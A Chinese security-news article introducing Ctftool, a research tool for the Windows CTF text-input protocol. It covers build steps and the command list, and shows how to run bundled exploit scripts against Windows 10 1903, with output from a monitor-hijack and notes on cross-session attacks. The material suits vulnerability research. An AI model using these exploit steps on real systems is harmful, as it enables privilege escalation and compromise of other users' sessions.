Ctftool:交互式命令行工具,对CTF进行安全测试
摘要:Ctftool是一个交互式命令行工具,可帮助安全研究人员执行CTF的安全测试。轻松分析在Windows内部运行和调试文本输入处理器以及检测目标Windows系统的安全性的复杂问题。
Ctftool是一个交互式命令行工具,可帮助安全研究人员执行CTF的安全测试。轻松分析在Windows内部运行和调试文本输入处理器以及检测目标Windows系统的安全性的复杂问题。
Ctftool还允许研究人员编写简单的脚本来自动与CTF客户端或服务器进行交互,并根据其需求执行简单的模糊测试任务。
工具下载
研究人员可以使用以下命令在本地克隆项目源代码:
git clone https://github.com/taviso/ctftool.git
项目建设
注意:如果您不想自己构建项目源代码,则可以直接访问项目的“Release”页面以下载编译的版本。
我们使用GNU make和Visual Studio 2019开发Ctftool。当前,该项目仅支持32位版本,但该工具支持在Windows x86和x64平台上运行。
安装所有相关组件之后,直接在开发人员的命令行终端中输入“ make”命令以完成项目构建。
在这里,我使用的构建工具是Visual Studio的变体。构建时,我只选择了MSVC,MSBuild,CMake和SDK。
该项目使用子模块来处理一些依赖项。您可以使用以下命令来获取所需的依赖关系代码:
git submodule update --init --recursive
工具使用
Ctftool已在Windows 7,Windows 8和Windows 10上进行了测试,并支持32位和64位版本。
参与者可以使用“ help”命令查看该工具支持的命令列表,或者输入“ help <command>”以查看特定命令的使用方式:
$ ./ctftool.exe An interactive ctf exploration tool by @taviso. Type "help" for available commands. Most commands require a connection, see "help connect". ctf> help Type `help <command>` for help with a specific command. Any line beginning with # is considered a comment.help - List available commands. exit - Exit the shell. connect - Connect to CTF ALPC Port. info - Query server informaiton. scan - Enumerate connected clients. callstub - Ask a client to invoke a function. createstub - Ask a client to instantiate CLSID. hijack - Attempt to hijack an ALPC server path. sendinput - Send keystrokes to thread. setarg - Marshal a parameter. getarg - Unmarshal a parameter. wait - Wait for a process and set it as the default thread. thread - Set the default thread. sleep - Sleep for specified milliseconds. forget - Forget all known stubs. stack - Print the last leaked stack ptr. marshal - Send command with marshalled parameters. proxy - Send command with proxy parameters. call - Send command without appended data.window - Create and register a message window. patch - Patch a marshalled parameter.module - Print the base address of a module. module64 - Print the base address of a 64bit module. editarg - Change the type of a marshalled parameter. symbol - Lookup a symbol offset from ImageBase. set - Change or dump various ctftool parameters. show - Show the value of special variables you can use. lock - Lock the workstation, switch to Winlogon desktop. repeat - Repeat a command multiple times. run - Run a command. script - Source a script file.print - Print a string. consent - Invoke the UAC consent dialog. reg - Lookup a DWORD in the registry. gadget - Find the offset of a pattern in a file. section - Lookup property of PE section. Most commands require a connection, see "help connect". ctf>
获得该工具后,我们要做的第一件事是建立会话链接并查看连接的客户端:
ctf> connect The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264ctf> scan Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe) Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe) Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe) Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe) Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
接下来,我们可以通过向服务器发送或接收命令来测试连接的客户端。
利用
该工具可用于扫描和查找CTF协议中的许多严重安全问题。如果要在Windows 10 x64 1903上运行该工具并测试漏洞,可以直接双击ctftool.exe并运行以下命令:
An interactive ctf exploration tool by @taviso. Type "help" for available commands. Most commands require a connection, see "help connect". ctf> script .\scripts\ctf-consent-system.ctf
实际上,利用代码在两个阶段中运行,因此我们也可以分别执行这两个阶段。例如,您可能想在不同的会话中入侵该进程以属于同一用户,则可以使用connect命令的可选参数。
接下来,您可以建立一个会话链接,选择一个要被入侵的客户端,然后运行以下命令:
ctf> script .\scripts\ctf-exploit-common-win10.ctf
监控劫持
由于在CTF协议中客户端与服务器之间不需要身份验证,因此,如果攻击者有权写入\ BaseNamedObjects,则他可以创建CTF ALPC端口并伪装成监视器。
此时,攻击者将能够绕过监视器和所有限制来执行任何操作。
使用“ hijack”命令可以实现:
An interactive ctf exploration tool by @taviso. Type "help" for available commands. ctf> hijack Default 1NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ... A a message received ProcessID: 4352, SearchUI.exe ThreadId: 4420 WindowID: 00020180NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................ A a message received ProcessID: 4012, explorer.exe ThreadId: 780 WindowID: 00010110NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X... A a message received ProcessID: 4012, explorer.exe ThreadId: 780...
跨会话攻击
在CTF协议中,没有会话隔离,任何进程都可以连接到任何CTF服务器。Ctftool中的“connect”命令支持连接到非默认会话:
An interactive ctf exploration tool by @taviso. Type "help" for available commands. Most commands require a connection, see "help connect". ctf> help connectConnect to CTF ALPC Port. Usage: connect [DESKTOPNAME SESSIONID] Without any parameters, connect to the ctf monitor for the current desktop and session. All subsequent commands will use this connectionfor communicating with the ctf monitor. If a connection is already open, the existing connection is closed first. If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitorfor another desktop and session are opened, if it exists. If the specified port does not exist, wait until it does exist. This is so that you can wait for a session that hasn't started yet in a script. Examples Connect to the monitor for current desktop ctf> connect Connect to a specific desktop and session. ctf> connect Default 1 Most commands require a connection, see "help connect".
相关热词搜索:Ctftool 交互式命令行工具 CTF安全测试 重庆软件开发
上一篇:AgentSmith-HIDS:高性能主机信息收集工具,可帮助安全研究人员构建自己的HIDS
下一篇:Fugu:针对Checkm8漏洞的开源越狱工具,仅支持iPad Pro(2017)和iPhone 7(iOS 13-13.3.1)
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8884( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6290( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4310( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3860( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3511( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2537( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2262( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )2003( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1843( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1776( 亮了